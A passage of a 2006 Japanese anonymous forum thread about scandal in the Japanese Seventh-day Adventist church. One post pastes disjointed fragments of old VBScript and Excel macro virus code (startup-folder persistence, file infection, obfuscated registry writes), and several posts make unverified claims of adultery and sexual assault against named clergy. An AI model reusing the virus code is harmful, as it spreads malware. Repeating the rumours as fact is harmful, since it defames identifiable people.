１：それぞれの方の意見の連続性を確認するため
２：議論に参加している人数の目安にするため
※決して、個人を特定したり、匿名性を低下させるのが目的ではありません。
結局、教団は２チャンネルでの書き込みに関して、少数意見だからと思っているのではないかと思います。
また、非難だけで建設的な意見の提示が出来ない輩だと分析しているのではないでしょうか？
その認識が間違っていることを、教団に示しましょう。
では、再スタートです。
523:名無しさん＠３周年
06/07/14 20:41:31 N4E/nZhl
>>520
立派なご意見に賛成します。
総務はもう二進も三進もいかない状態に追い込まれておられるのではないでしょうか？
こうなったら総務にとって教団幹部連もあまり頼りにはならないと思います。
やはり最後はなんといっても親族、肉親の力に頼らざるを得ないと思いますが・・・・
弟の宏さんあたりから代弁してもらって、「不倫とか、姦淫とかいったやましいことは
一切ありませんでした。」と、少なくとも天沼、関町などの教会で弁明すべきではないで
しょうか？
524:名無しさん＠３周年
06/07/14 20:47:06 111OGuWc
>>520
代弁では説得力ないぞ。ガキでもあるまいし。本人がすべき。
525:名無しさん＠３周年
06/07/14 21:07:04 h6y05jSV
“弟が弁明すべき”←ここは砂場ではないと思います。
二人以上の証人と一緒に教団本部に出向いて、問題の解答を迫っては如何。
526:名無しさん＠３周年
06/07/14 21:57:14 h6y05jSV
“今後の書き込みに関してはハンドルネームを明記してください”
とありますが、2チャンネルは、匿名を尊重すべきと思います。
勿論、HNでやりたい人は、そうしたらよいでしょう。
527:名無しさん＠３周年
06/07/15 01:03:22 S/LIGba2
22 ： fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???
528:名無しさん＠３周年
06/07/15 05:03:23 yT6fRQL7
ここは外国でもなければ、ましてや、宇宙人の居場所でもありません。
尤も聖書には“異言”ということばもありますが。
529:名無しさん＠３周年
06/07/15 07:08:31 vR9oSZyP
さぁ安息日だ
みんな教会に行けよ
ってもさぁ
内容の無い、意味も無い、ただダラダラとつまらない牧師の自己満足の話を
しかも長けりゃ良いって感じで延々と１２時過ぎても話しまくる礼拝じゃ
行く気は無いよね
山の中に行って自然を見てくるかな
530:名無しさん＠３周年
06/07/15 07:51:29 u1rOd68L
さぁ、私も教会にゆくかなぁ。
でもささやかな抵抗ですが、献金をする心の余裕はまだ出てきません。
531:名無しさん＠３周年
06/07/15 09:06:30 vZ/QHpJt
今日の特別賛美歌です。牧師先生自らが歌います。
♪苦しくったって～
悲しくったって～
教会の牧師は平気なの
什一が減ったら胸が痛むわ～
不倫に投資、スランプ、ワンツーワンツーアタック！
（だけど涙がでちゃう。だって生活かかっているんだもん）
涙も汗も雇われ根性で
礼拝の講壇で叫びたい、
教団、教団、ナンバー１
教団、教団、ナンバー１
♪
532:名無しさん＠３周年
06/07/15 20:56:58 Pq3GD6IH
>>527
立川の頭悪い厨房が、２ちゃんにトラップを埋め込もうとして失敗したな。
２ちゃんのＳＤＡスレを読んだ人のハードディスクを破壊するつもりだった
のがバレバレだ。追い詰められているのはわかるが、そんなことをする暇が
あったら、現実に向き合ってもっとまじめに教会の信頼の再建をしろよ。
533:名無しさん＠３周年
06/07/15 21:01:59 LRM9jKvT
>>532
そんな悪辣なことを企てている「立川の頭悪い厨房」って一体誰のことなんですか？
そんな心の悪い人はこのスレの中ではっきり名前を晒して下さい。 お願いします。
534:名無しさん＠３周年
06/07/16 03:09:10 4RNAbsJL
たばこ吸っていいっすか？
535:名無しさん＠３周年
06/07/16 05:14:46 xvL2A/jp
日本国家の法律では、年齢制限があります。
一般的には個人の自己責任でしょう。
宗教的には、と問われると、見解は様々でしょう。
キリスト教界でも、何ら問題にしていないところ（ex.カトリック）もあれば、
強度の嫌悪感を表しているところ（ex.モルモン,SDA,他）もあります。
536:名無しさん＠３周年
06/07/16 05:28:36 xvL2A/jp
“盧武鉉（ノ・ムヒョン）大統領が11日に与党ウリ党の幹部を青瓦台（大統領府）
に招いて会談した際...盧大統領は「北朝鮮がドルを偽造したという証拠を
示さないまま、北朝鮮の帳簿だけを調べようとしている」と発言した。”
この言い方、どこか似ていませんか。しかしながら、“証拠を示さないまま”
という言明は、大いに問題ありでしょう。
537:赤恥止蔵
06/07/16 07:51:35 QmQSNPxA
韓国の大統領の詭弁を日本のＳＤＡ教団が総務を庇う目的で真似をしないように願う。
538:名無しさん＠３周年
06/07/16 07:51:43 FZXnj4D9
>>536
今更なにを仰ってるんですか、そんなに証拠、証拠といわれるんでしたら一度
関町教会にでもお行きになったらいかがですか？ 論より噂？
539:名無しさん＠３周年
06/07/16 08:05:26 xvL2A/jp
>>538
“大いに問題ありでしょう”というのは、
そういうことがあるのではないでのすかと、あなたと同じことを言っているのです。
つまり、>>537さんが別の言い方をしてくれたわけです。
540:名無しさん＠３周年
06/07/16 08:09:50 xvL2A/jp
>>539
「そういうことがあるのではないでのすかと」
→「そういうことがあるのではないのですかと」になおします。
541:名無しさん＠３周年
06/07/16 13:47:11 xvL2A/jp
>>471, >>472, >>474
最近の“かもめ”の投稿をご覧になって、
まだ「牧師ではないか」とか、「金魚の糞ではないか」、と思われますか。
542:名無しさん＠３周年
06/07/16 18:23:20 gV+d9005
>>541
思いません。かもめさんが牧師様でああるかどうかはさて置き、決して“金魚の糞”
などとは思いもしません。
かもめさまは何時ものように、自由に闊達にそして天高く飛翔されてこそ鴎です。
543:名無しさん＠３周年
06/07/16 19:20:02 xvL2A/jp
>>542
ありがとうございます。
是は是、非は非とし、バランス感覚を一歩一歩（Steps to Christという本
の題のように）磨き、聖書を読み、親しみ、こころに刻み、行う者になりたい
と思います。
544:赤恥止蔵
06/07/16 19:49:45 QmQSNPxA
バランス感覚とは、優柔不断の代わりでものは言いようじゃのう。
山地君に貴君の爪の垢を煎じて飲まさせたいわ。
545:名無しさん＠３周年
06/07/16 23:54:58 NkjmfwB2
Ｓｄａ嵯峨野教会が新機軸を出している。人生、教会生活からの設問形式が興味深い。
これからどういう方向に発展するのかが面白い。
546:名無しさん＠３周年
06/07/17 06:30:15 Y2+59zr3
>>545
URLﾘﾝｸ(homepage3.nifty.com)
URLﾘﾝｸ(257.teacup.com)
この休みに色々と過去のを見てみたが、こいつの頭の中では自分が医大に行く時に奨学金が貰えなかった恨みが底辺にあるみたい
そこで今の教団の闇の部分を粗探しして何か問題点が有ると徹底的に暴いて、
個人の恨みを正当化するために重箱の隅を突っついて恨みを晴らそうとしているみたい
と思ったのは俺だけかな？
547:名無しさん＠３周年
06/07/17 06:49:09 kbDrnAsO
>>546
んー、そうだな。君だけだな。
そんな単純なことなら誰か一発そう指摘してやってくれんか。
548:名無しさん＠３周年
06/07/17 07:57:01 CwXKOZKb
>>546
君の単純な脳細胞が羨ましい。
＞この休みに色々と過去のを見てみたが、........
どの部分をどの様に見たのか理解に苦しむが、まぁ、君の人生はケセラセラ
バラ色だったのでしょう。 悩み無き人生は羨ましい。
549:赤恥止蔵
06/07/17 08:26:44 HWn15mPE
>>545
率直に言って彼の教会学の造詣は我々の教会の牧師達を凌駕している。
550:名無しさん＠３周年
06/07/17 10:28:19 AGwU0/Kd
【米蔵語録】
率直に言って私の教会牧師達は、いかにして効率良き利の収益を図るかの経営学
がまったく判っておらん。
551:名無しさん＠３周年
06/07/17 18:31:53 tjiQoAY/
告 白 ～Journey of Hope～
誹謗と中傷の中で私は傷つき失望感、憔悴感に飲み込まれそうになりますが、
私が内面的弱さを持っている事、幾つかの過ちを犯したことは神様が私を祝福
してくださっていることと同じくらい明らかな事実です。
今、私が決して忘れてはならないこと、それはどんな過ちがあっても私は主に
あって希望が与えられているということです。
あぁ、神様！ 私を鞭打つ人たちの罪をお許し下さい。 彼等は自分達の犯し
ているその罪の深さに気が付いていないのですから。
552:名無しさん＠３周年
06/07/17 19:28:42 3W0V8bqy
>>551
山地の悪い冗談か。２ちゃんに妄言を書く暇があったら、実生活で、生活を立て直し
たり、教会で謝罪して教団総務を自発的に辞任するとかしたらどうなんだ。
自己義認でキリスト気取りなんかやめてほしいな。
553:金澤の怨霊
06/07/17 19:50:30 kbDrnAsO
>>550
私がいなくなったら おまえたちは皆 役立たずのでくのぼう
554:名無しさん＠３周年
06/07/17 22:25:24 vX7b2EX+
昔々の笑えない笑話。
549:赤恥止蔵 と 553:金澤怨霊が、とある田舎の旅籠で宿を共にした夜。
(夜中に止蔵先生なにを思ったか、一心不乱になにかを探しておられる・・・)
怨霊： 総理、何事ですか？ こんな真夜中に。 なにをそんなに探してるのですか？
止蔵： 「私の血の兄弟を探しているのです。」
怨霊： 「？.....」 寒ぅ～～。
555:名無しさん＠３周年
06/07/18 06:09:38 77Ojd1e7
>>554
話が難しすぎてよくわかりません。解説をお願いします。
556:名無しさん＠３周年
06/07/18 10:12:05 i6j9Hbby
山地正君を昔からよく知る者ですが、彼は安息日問題で国際キリスト教
大学を中退して三育学院に行ったと称していますが、あれは本当は正し
くありません。三育の学生名簿にはわざわざ「ＩＣＵ中退」などと誇ら
しげに書いていたらしいですが、真実を知る者は眉をひそめます。彼が
大学を中退した理由は女性問題です。今回またこの教会で不倫をしてい
るという噂を聞いてやってきましたが、山地君は昔から全然変わってい
ないなあというのが正直な印象です。
557:名無しさん＠３周年
06/07/18 11:17:12 uVCafCP3
東海林先生のミセスつらそうで気の毒。
558:名無しさん＠３周年
06/07/18 12:24:16 7V6srD5g
>>551
安心せよ。誰もお前を鞭打つ者はいない。鞭が汚れるからだ。
559:名無しさん＠３周年
06/07/18 15:25:19 Wz4L8ubS
>>557
ん？ 何でまたここに、S先生のミセスが出てきたのですか。
560:名無しさん＠３周年
06/07/18 16:55:29 Wz4L8ubS
>>555
要するに、金亡者の吸血鬼の悪ガキたちの、お話ではないでしょうか。
561:名無しさん＠３周年
06/07/18 17:41:51 lJdhh079
>>556
元祖「歩く生殖器」（ｗ
>>557
家庭崩壊寸前、定年離婚か？
562:名無しさん＠３周年
06/07/18 19:40:05 czhra0UH
>>559
ミセス東海林も個人的には山ちゃんの被害に遭っているのではないか。
563:名無しさん＠３周年
06/07/18 19:58:00 IoPYRSJQ
>>562 ミセスの【成りすまし】
泣くに泣けません。
苦節２３年やっと、やっとですよ夫婦手に手をとり支え合ってこの教団の
トップに登り詰めたというのに、いったいなんの因果なんでしょうか？
どうしてこんな個人的な問題で、それも不倫だなんって！ こんな不潔な
不倫問題と私の主人の清潔な信仰による教団奉仕になんの関係があるのでしょう？
主人の窮地をどうぞ皆さまの深い愛で支えてやって下さい。
564:名無しさん＠３周年
06/07/18 20:51:47 zqEaSOnb
>>562
鈴木明理先生の奥さんも被害者なんです。
>>563
ピントはずれな発言はおやめになって下さい。ヤマジを辞めさせればみんな
に幸福が戻ってくるのですから。
565:名無しさん＠３周年
06/07/18 23:12:43 Wz4L8ubS
このところ、牧師夫人の代名詞でその夫の名が実名で出ていますが。
なりすまし、というところ？
566:名無しさん＠３周年
06/07/19 06:38:09 ET6ks31O
嵯峨野教会牧師に久しぶりの大ピンチ（ｗ）
保守仲間から批判されるし、品性は疑われるし、ワヤだな。
どうやって切り抜けるか見物だ。
URLﾘﾝｸ(www3.kiwi-us.com)
567:名無しさん＠３周年
06/07/19 07:34:30 e73f0RPB
彼はヤワではなく、ハガネと認識しておいた方がよいでしょう。
ポキッと折れてしまう性質のものではなく、かなり粘り強いでしょう。
568:名無しさん＠３周年
06/07/19 07:43:10 ET6ks31O
衛生病院スレでも山形大学出身者の証言者が現れてバシバシ蹴り入れ
られているぞ。これで嵯峨野教会牧師の権威も失墜だ。ざまあみろ。
569:名無しさん＠３周年
06/07/19 08:20:01 U+Rt+/y2
>>568
だからといって生殖器総務の信頼がその分回復するわけでもないでしょうに。
570:名無しさん＠３周年
06/07/19 08:27:39 e73f0RPB
>>568
某山形大の御仁の言及は、とるに足らないものでしょう。
これをもって“嵯峨野教会牧師の権威も失墜だ”とは甘すぎます。
彼は、「ん、蚊でもとまったか」と思う程度でしょう。
571:名無しさん＠３周年
06/07/19 09:49:02 pbsZ9niS
>>566
神にのみ総てを委ね、その信仰によってのみ生きている.....そんな人物。
嵯峨野牧師に対してクリスチャンの品性、品格、云々と言う一握りのSDA教団
幹部並びに風見鶏牧師に問いたい。
悪しき事を“神の御心ですよ”と説くが如き教団指導者に対し “これは間違い
ですよ、神様の御心に叶いません”とはっきり、鮮明に断ずる事の出来る勇気
ある宗教的態度を持ち合わせた人材。 こんな人物を他に見る事ができますか？
572:名無しさん＠３周年
06/07/19 11:22:45 J3SCtZVo
>>568 ：名無しさん＠３周年：2006/07/19(水) 07:43:10 ID:ET6ks31O
＞衛生病院スレでも
アドレスを貼ってくれませんか
573:名無しさん＠３周年
06/07/19 11:37:39 ET6ks31O
>>572
ほらよ。ますます大混乱してやがる。漏れも段々落ち込んできた。もうこの病院だめぽ。
ｽﾚﾘﾝｸ(hosp板)
574:名無しさん＠３周年
06/07/19 16:38:38 8nYqOTxe
低迷の続く教団財務(什一献金)に朗報を！ 教団財政立て直しの一環として以下の様な
イベントを教団が主催者となって行なうよう提案致します。
パネルディスカッション形式の伝道集会をまず天沼教会あたりからスタートする。
参加料金としては一人に付き三千円(この料金は絶対に高くない、このパネリストの顔ぶれ
を見る限りにおいて。) 天沼収容人数約４００名 ｘ ３０００円 約１２０万円の収益
を得ることが可能となる。
さて、問題のパネリストと議題であるが・・・・・
議題: 神学からみる信仰 ～時を告げる鐘～
パネリスト: (あいうえお順)
岡藤米蔵先生
白石尚先生
高橋義文先生
辻好文先生
長窪専三先生
長谷川寿紀先生
以上六名。
575:名無しさん＠３周年
06/07/19 20:42:10 JGIOxFYr
>>574
教会の道徳破壊と性解放に貢献中のヤマジ正先生を入れてはどうですか。
その系の人や週刊誌の取材も集まって大入り満員になりますよ。
576:名無しさん＠３周年
06/07/19 21:51:21 2tlW6cT6
>>574
大賛成。豊橋在住の教会員です。こんな画期的な集会が開かれるなら、なんとしても
参加します。いくら集会場所が関東圏に限られたとしても新幹線なら約一時間半です。
それに参加料金だけでなく個人的な感謝献金も相当見込まれるのではないでしょうか？
冗談ではなくぜひ企画して下さい、必ず参加します。
577:名無しさん＠３周年
06/07/20 00:35:25 0seThTT+
ここはブラック・ジョーク道場の掲示板ですか。
もう少し、マトモに話ができませんか。
578:名無しさん＠３周年
06/07/20 02:21:53 0hwSCldk
京都八幡の教会もSDA系だったんですか？
579:名無しさん＠３周年
06/07/20 06:57:26 0seThTT+
>>578
“京都府八幡市の「聖神中央教会」元主管牧師、金保（永田 保）被告”
の教会のことを指していると思いますが、
世界規模で伸展しているSDAが、こういうところと一緒にされてはたまりません。
580:金澤の怨霊
06/07/20 10:11:46 g8qWcpg7
>>574
５日間連続のパネルディスカッションをすれば
しめて600万円の興行収入だ
しかし それでは岡藤の体力が持つまい
うけけけけけ
581:名無しさん＠３周年
06/07/20 11:22:45 c2e6jMle
>>574
ほんとうですよね。教団に危機感があるんならこれくらいの、思い切った企画でも
しなくては教団自体が消滅しちゃいますよ。このまま献金がジリ貧状態になったら
どうするのですか？ 教団指導者の人達、皆で知恵を出し合ってなんとかして下さい。
582:赤恥止蔵
06/07/20 13:59:40 mb0szDdm
給料ほしさに上の言うことにへーこら従っているだけの卑屈な教役者たちよ。
少しは長谷川君と辻君の真剣勝負の議論を見習いなさい。
583:名無しさん＠３周年
06/07/20 17:25:39 ylLEwh1r
>>582
＞SDA教団の卑屈な教役者さん、少しは長谷川君と辻君の真剣勝負
＞の議論を見習いなさい。
両氏が天沼か原宿、無理だったら大多喜の学院でもいい是非お二人に
よる礼拝説教に与りたいと願っています。本当に神様から油を注がれ
た眞の牧師の御言葉を聞きたい。辻牧師に関しては１０月にあきる野
で福音キャンプがあるので参加するが長谷川牧師についてはそのよう
な機会に恵まれない、なんとか心ある教団の有志で長谷川牧師の招聘
を企画してもらえないものだろうか。
584:名無しさん＠３周年
06/07/20 18:06:30 0seThTT+
>>583
H氏とT氏のどこが真剣勝負の議論なのですか。この程度の論なら巷に溢れています。
礼拝説教というのは、そんなものではありません。
真の牧師云々、とありますが、そういう言い方は、なさらない方がよいでしょう。
おそらく、かなり偏った話になるでしょう。説教は、話ではありません。
それよりも、ご自分で聖書をもっと読まれることをお勧めします。
だからといって、S氏のbbsは無意味だ、と言っているのでもありません。
585:名無しさん＠３周年
06/07/20 20:14:48 KTOQJ9PD
>>584
そうはいってもこの程度の論にすらも耐えられないのがうちの教会の牧師だ。
お花畑にチョウチョが飛んでいる～のような説教しか出来ないくせに何を
偉そうなことを言っているんだい。
同業者への嫉妬ならいい加減にやめてくれ。
586:名無しさん＠３周年
06/07/20 20:53:01 0seThTT+
>>585
“お花畑にチョウチョが飛んでいる～のような説教”
こそ本筋なのが解かりませんか。
その程度にしか捉えられないところに、薄っぺらな信仰が浮いて見えます。
偉そうなことも言ってはいないし、嫉妬などする相手は、どこにもいません。
587:金澤の怨霊
06/07/20 21:20:50 g8qWcpg7
信徒は適当にお花畑で居眠りをさせ 指導者が裏でカネを稼ぐというのが
私の教えた教会錬金術であるぞよ
588:名無しさん＠３周年
06/07/20 21:47:23 4tYZCcfg
>>584
昨今しきりに各掲示板を賑わしている教団幹部の不祥事、正直言って真偽のほどは
はっきりしません。 どうしてかと言うと、教団中枢の先生方からなんの報告もな
くまったく“無しの礫”だからです。こんな調子だから献金もいい加減になるので
す。どうして教団三役で統一の見解を出さないのですか？ ここらの掲示板に書き
込まれていることは全くの事実無根であると。今のままだと皆が疑心暗鬼になって
教会にすら出席する人が減ってくると思いますよ。 教会に出席する人が減ると献金
もそれに比例して減じるのは当然のことですよね。
589:名無しさん＠３周年
06/07/21 06:58:36 7mU1gqxK
>>588
同感ですね。
全くの白であったとしたら、尚のこと、普通の感覚ならば、少なくとも無視を
決め込むことはできないはず。
とかく、人には金銭ではない、純真な思いの大切さ、ということを教えている側が、
金銭を得たり、立場を得ると、こうも変質してしまう、ということを、
暗に自ら証明している、と言われているも同然で、逃げ場がなってしまうでしょう。
ここでも、他のbbsでも、こうも言われて黙っているのは、余程の蛮勇ある方たち
の集合体なのか。
590:名無しさん＠３周年
06/07/21 08:02:47 pw6A1Qlz
（意味深い預言的対照）
山ちゃん淫行発覚→加藤号泣→吉本契約解除→欽ちゃん球団解散
山ちゃん淫行発覚→町田号泣→教団総務罷免→ＳＤＡ教団解散
591:名無しさん＠３周年
06/07/21 12:23:05 7mU1gqxK
こういうのって、そろそろ卒業しませんか。
ま、たまには息抜きも必要でしょうが。
592:名無しさん＠３周年
06/07/21 15:33:20 CAGsC1lh
>>589
ＳＤＡの一般信徒です。
教団行政諮問委員会の先生に直訴します。次号のアドベンチスト･ライフ誌に
教団としての厳粛な気持ちをアピールする意味で全教会員に対して教団総務の
無実潔白声明を掲載して下さい。
『声明』
この度の教団総務による不道徳行為に関する徹底的な事実関係調査を行なった
結果以下のことを教団行政諮問委員会は宣言致します。
世に言われているような噂はまったくのデマで事実無根であることが判明致し
ました。
-------------------------------------------------------------
一件落着。是で平穏な聖なる安息の日が迎える。
593:名無しさん＠３周年
06/07/21 18:37:32 7mU1gqxK
現在も「教団行政諮問委員会」なるものが存在するのですか。
もし存在するのなら、メンバーは誰ですか。
594:名無しさん＠３周年
06/07/21 19:47:51 l0SqQOYb
>>579
一緒にされたくないなら、きちんと公式の場で落とし前をつけなさい。
そして責任者の懲戒処分も。
595:名無しさん＠３周年
06/07/21 20:12:48 cfp9iI1Z
>>592
問題先送り自己中心自己満足の事なかれ典型SDA信徒だな。悲しいぞ。
596:名無しさん＠３周年
06/07/21 20:13:04 7mU1gqxK
>>594
やはり、そうでしたか。
一応、正攻法でお応えしたのですが。
でも、チョット飛躍しすぎの関連付けではありませんか。
597:名無しさん＠３周年
06/07/21 20:38:31 cfp9iI1Z
>>577
安息日なんだから、今日こそ神から知恵をいただいて
岡藤や白石が教団を仕切ったのがＳＤＡブラックジョークの
始まりだった事に気づけ。
598:赤恥止蔵
06/07/21 20:49:07 jATXUvAL
>>583
あ君。悪いが、人の発言は正確に引用してくれたまえ。そのほうが
なにかと後から難癖つけられないからな。ｗ
599:名無しさん＠３周年
06/07/21 21:00:03 pw6A1Qlz
591,593,596は教団から任命された２ちゃん監視要員でつか。
だとすると592は一般信徒を装ったサクラでつね。
ぷぷ、やることが臭杉ｗｗｗ
600:名無しさん＠３周年
06/07/21 21:40:25 7mU1gqxK
>>599
読みが浅い。洞察力も低い。
知ったかぶりをする、情けないお人ですね。
601:名無しさん＠３周年
06/07/21 21:54:37 dUFTlWzB
小学校は夏休みに入りました。
子どもたちは「ＶＢＳ（夏休み聖書学校）」を楽しみにしております。
602:名無しさん＠３周年
06/07/21 22:47:34 7mU1gqxK
確かに、VBSの時期がやって来ましたね。
SDA教会の大切な、この働きを支えたいと思います。
小さいときに覚え、感じた聖書の物語は、やがて時期が来て花が咲くでしょう。
担当者は大変かと思いますが、宜しくお願いします。
そのために、祈りをもって、お支えしたいと思います。
603:名無しさん＠３周年
06/07/22 00:36:47 xsPsxrTv
★「３年間継続的に暴行」 教会元信者の女性
・京都府八幡市の聖神中央教会の元主管牧師（６３）＝女性暴行罪などで懲役２０年
確定＝から乱暴され被害を受けたとして、元信者の少女ら７人が元主管牧師と教会に
計約２億３０００万円の損害賠償を求めた訴訟の本人尋問が２１日、京都地裁
（井戸謙一裁判長）であり、原告の女性（３０）が約３年間、継続的に暴行を受けたと
証言した。
女性が傍聴席から見えないよう、ついたてを設けた法廷で行われた。
女性は１２年ほど前から教会に通い始め、元主管牧師の自宅などに寝泊まりする
よう教会幹部から指示され、自宅や教会の牧師室などで暴行を受け、数百万円の
献金も強要されたと証言した。
女性は「一番神に近い存在と信じていた。暴行を受け錯乱し、うつ状態に陥った」と
述べた。
URLﾘﾝｸ(headlines.yahoo.co.jp)
※元ニューススレ
・【裁判】 "「私を喜ばすことが神への奉仕」と、信者少女７人レイプ" 鬼畜牧師、懲役２０年確定
ｽﾚﾘﾝｸ(newsplus板)
604:名無しさん＠３周年
06/07/22 01:08:20 XJYk+XjY
>>603
ここにUPされた意図は、わからなくはありませんが、問題の質が違うと思います。
流石にSDAは、こういうことをする教会ではないことは、おわかりかと思います。
しかしながら、事の本質は同じではないか、という問いかけには理解します。
こうまで書かれてしまっていることに対して、当事者・関係者は、どう応えますか。
605:名無しさん＠３周年
06/07/22 06:17:01 fdiHqW4w
私はＳＤＡ教会の信徒です。
山地先生のことをいつも心配してお祈りしています。
山地先生がよい働きをされるためには、やはりみんなに正直になられて、女犯の罪を犯したことを謝罪され、
役職を辞退されて一から謙遜にやりなおされることではないかと思います。
今日は安息日なので教会でみんなでお祈りいたします。
606:名無しさん＠３周年
06/07/22 07:56:21 8fAFDywh
>>603,>>604 ヤ○ジも同じようなことしてますよ。
亀甲山の教団本部で女子職員を監禁暴行したことがあるんですよ。
教団のほかの先生は見て見ぬふり、それどころか外に漏らすなと
いって口封じされたのです。組織による性犯罪幇助ですね。
607:名無しさん＠３周年
06/07/22 08:25:26 R8esBdxB
>>605
8時20分です。あと30分もしたら教会に向かいます。
昔のように心弾むような喜びが湧いてこないのはなぜなんでしょうか？
子供達にこんな姿を見せたくないし(主人はそんな場所に行かないで、もっと有意義な
所ががるだろうと叱責するし)イエス様の祝福される安息の日にこんな気持ちになるな
んて、ほんとうに不謹慎だとおもいますが・・・・・・・
608:名無しさん＠３周年
06/07/22 08:35:16 Qa6+iOYg
さあ今朝の安息日の特別賛美歌は歌と踊りでどうぞ！
♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪
♪♪ 淫行系 淫行系 ヤマジ式 ♪♪
♪♪ 淫行系 淫行系 ヤマジ式 ♪♪
♪♪ こんな教団運営しなくても ♪♪
♪♪ 淫行系 ポッポッポ ヤマジ式！ ♪♪
♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪♪
（＼ ミ
と⌒ヽj ）
） ヽ､
し@A@)J
∨￣∨
∧＿∧
ｆ（@∀@∩
ヽ 正 ﾉ
| |
（_／U＼_）
609:名無しさん＠３周年
06/07/22 17:15:05 fdiHqW4w
教会から戻りました。教会で数人の人とこの件について祈りを捧げてきました。
610:長老さん
06/07/22 18:59:22 Xmw3pzjv
これだけ言われて何も応答しない教団なんて無能ではないのかと
私も本当に思い始めています。
611:名無しさん＠３周年
06/07/22 19:53:38 XJYk+XjY
>>606
これは、聞き捨てならないことです。
その女子職員は、今、どうしているのですか。
612:名無しさん＠３周年
06/07/22 22:25:05 STYEOthd
>>593
アドベンチスト・ライフ誌の2006.04だったと思いますが、確かにＳＤＡ教団行政諮問委員会に
属する役員名が載っていたと記憶しています。
元理事長の金城先生闇討ちの先陣を切ったのは当時の曾根田先生でしたが、今回はどうされるの
しょうか？ 椅子を蹴飛ばし、机をドンドン叩いて罷免を叫んだあの時の迫力はいったい何処に
置き忘れておられるのでしょうか？
613:名無しさん＠３周年
06/07/23 07:53:06 csemQMr+
>>601-602
俺のＰＣのノートンのウイルス駆除ソフトが昨夜どこからか送られてきた
新たなウィルスを検出したんだが、そのウィルスの名前を見たら、なんと
「ＶＢＳ」だった。
もしかしてお前らが送ってきたな、この野郎。名を名乗れ。この恥知らずめが。
614:名無しさん＠３周年
06/07/23 08:30:13 g2ojh7mW
>>612
ライフ2006.04の、何と言うタイトルの記事ですか。
理事会リポートには、載っていなかったと思いますが。
615:赤恥止蔵
06/07/23 10:08:36 dbQCcttv
>>614
長谷川先生のＨＰにもしっかりと曾根田の醜態が収録されておりますぞ。
ご覧あれ。
URLﾘﾝｸ(www.concentric.net)
616:名無しさん＠３周年
06/07/23 12:47:43 g2ojh7mW
>>615
これを見る限り「醜態」は見られない。
「醜態」だという箇所を具体的に記してもらえまいか。
617:名無しさん＠３周年
06/07/23 13:45:29 kMAsjx3K
カルトじゃないですよね?教会行ってみたいです。
618:名無しさん＠３周年
06/07/23 14:46:18 g2ojh7mW
カルトと言う人がいるかもしれませんが、私は全くカルトとは、思ったことも
ありません。
それどころか、ここほど、真面目に聖書を研究し、読み解くことをしている
教会も珍しいでしょう。
619:名無しさん＠３周年
06/07/23 18:49:01 UGzk+TUv
>>605
もう悠長な態度で見過ごす訳には参りません。
神様からの真理と知恵を戴いて“あなたたち”は公式の場ではっきりとした事実関係を
表明して下さい。
それこそ数ヶ月まえのことでしょう。 あなた達教団指導者が私達日本ＳＤＡ信徒に対し
てこう宣言されたのは・・・・・
記憶にないと言われては話になりませんのでここに改めて留めます。
『日本ＳＤＡ教団を信仰を持って支え続けている信徒一同に対して厳粛な敬意を持って
心から感謝を表明すると共に、その信託に応えるべく託された任務に対して、アドベン
チスト信仰も基ずく誠実で忠実な献身をもって答えることを声高らかに宣言する。』
620:赤恥止蔵
06/07/23 20:20:44 dbQCcttv
>>616
文章そのものは金澤さんの起草文だから、それ自体は恥ずかしくない立派な文なのであるが
よく読めば、それぞれの段落ごとの脈絡も論理も何もなく、いかにも説明にある通り
原案骨子となる例文を吟味なしにそのまま出してしまったことがいい恥さらしになったと
思われるが如何。
それから、文中には「失われた月日は許されない」と言っているが、白石が復帰しても
失われたままの状態には何の変化もないが如何。東海林になってもっと失われたが如何。
自分達の無能力の責めを金城一人の上に置いて勢いよく断罪した曾根田こそ結局一番
教団で無能だったのだ。
621:名無しさん＠３周年
06/07/23 22:08:38 +z1n/w6v
>>619
同意します。今の教団のヒキコモリ状態は信徒に対する裏切りだと思います。
教団をの体面を維持することばかりで信徒の信頼にこたえる努力を放棄するのは
宗教団体として言語道断です。
622:名無しさん＠３周年
06/07/23 22:24:59 g2ojh7mW
>>619
そのときの決議録を、重複しますが、記します。
これは、Y氏の当日の会場での提案を受け入れ、決議されたものです。
“決議第４号 日本ＳＤＡ信徒に対する感謝の件
第35回ＳＤＡ教団定時総会は、昨今の厳しい状況下にあって尚日本ＳＤＡ教団を
信仰をもって支え続けている信徒一同に対して、厳粛な敬意をもって心からの感謝
を表明すると共に、その信託に応えるべく、託された任務に対し、アドベンチスト
信仰に基づく誠実で忠実な献身をもって応答することを宣言する。”
Y氏のことで、中途半端な幕引きは、ゆるされないでしょう。
623:名無しさん＠３周年
06/07/23 22:38:56 g2ojh7mW
>>622
確かに、論旨の表現に稚拙な感は否めない。だからと言って、これをもって「醜態」
と断ずるには、いささか問題がありはしまいか。
寧ろ、この程度の文をもって、どういう決断を、当時の理事が成したかだ。
何故、ここにS氏だけが無能だと言えるのか。この文からは、連名の責任は言えるが、
S氏だけ、と言うのは論拠に欠けるのではないか。
「失われた月日は許されない」の言い分は、誰にでも言える台詞ではないのか。
624:名無しさん＠３周年
06/07/23 22:41:12 g2ojh7mW
>>623 の >>622 は、>>620 の誤り。訂正する。
625:名無しさん＠３周年
06/07/23 23:11:37 g2ojh7mW
↓を、少しは見習ったら如何。
URLﾘﾝｸ(www.sankei.co.jp)
626:名無しさん＠３周年
06/07/24 01:08:09 aPd51ywp
>>625
なにを的外れなリンクしてるんだ、このスケベじじい！
627:名無しさん＠３周年
06/07/24 04:14:10 GZnVMYat
>>626
